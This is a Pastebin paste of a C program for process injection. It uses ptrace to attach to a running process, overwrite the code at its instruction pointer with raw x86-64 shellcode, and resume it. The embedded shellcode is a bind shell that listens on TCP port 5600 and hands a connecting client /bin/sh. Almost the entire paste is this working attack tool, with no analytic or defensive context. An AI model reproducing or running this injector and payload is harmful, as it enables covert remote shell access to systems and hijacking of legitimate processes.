orenma

Untitled

Sep 10th, 2024
171
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.94 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4. #include <stdint.h>
  5. #include <sys/ptrace.h>
  6. #include <sys/types.h>
  7. #include <sys/wait.h>
  8. #include <unistd.h>
  9. #include <sys/user.h>
  10. #include <sys/reg.h>
  11.  
  12. #define SHELLCODE_SIZE 87
  13.  
  14. unsigned char *shellcode = "\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05";
  15.  
  16. int inject_data(pid_t pid, unsigned char *src, void *dst, int len)
  17. {
  18. int i;
  19. uint32_t *s = (uint32_t *)src;
  20. uint32_t *d = (uint32_t *)dst;
  21.  
  22. for (i = 0; i < len; i += 4, s++, d++)
  23. {
  24. if ((ptrace(PTRACE_POKETEXT, pid, d, *s)) < 0)
  25. {
  26. perror("ptrace(POKETEXT):");
  27. return -1;
  28. }
  29. }
  30. return 0;
  31. }
  32.  
  33. int main(int argc, char *argv[])
  34. {
  35. pid_t target;
  36. struct user_regs_struct regs;
  37. int syscall;
  38. long dst;
  39. if (argc != 2)
  40. {
  41. fprintf(stderr, "Usage:\n\t%s pid\n", argv[0]);
  42. exit(1);
  43. }
  44.  
  45. target = atoi(argv[1]);
  46. printf("+ Tracing process %d\n", target);
  47.  
  48. if ((ptrace(PTRACE_ATTACH, target, NULL, NULL)) < 0)
  49. {
  50. perror("ptrace(ATTACH):");
  51. exit(1);
  52. }
  53. printf("+ Waiting for process...\n");
  54. wait(NULL);
  55. printf("+ Getting Registers\n");
  56.  
  57. if ((ptrace(PTRACE_GETREGS, target, NULL, &regs)) < 0)
  58. {
  59. perror("ptrace(GETREGS):");
  60. exit(1);
  61. }
  62.  
  63. /* Inject code into current RPI position */
  64.  
  65. printf("+ Injecting shell code at %p\n", (void *)regs.rip);
  66. inject_data(target, shellcode, (void *)regs.rip, SHELLCODE_SIZE);
  67. regs.rip += 2;
  68. printf("+ Setting instruction pointer to %p\n", (void *)regs.rip);
  69.  
  70. if ((ptrace(PTRACE_SETREGS, target, NULL, &regs)) < 0)
  71. {
  72. perror("ptrace(GETREGS):");
  73. exit(1);
  74. }
  75. printf("+ Run it!\n");
  76.  
  77. if ((ptrace(PTRACE_DETACH, target, NULL, NULL)) < 0)
  78. {
  79. perror("ptrace(DETACH):");
  80. exit(1);
  81. }
  82. return 0;
  83. }
Add Comment
Please, Sign In to add comment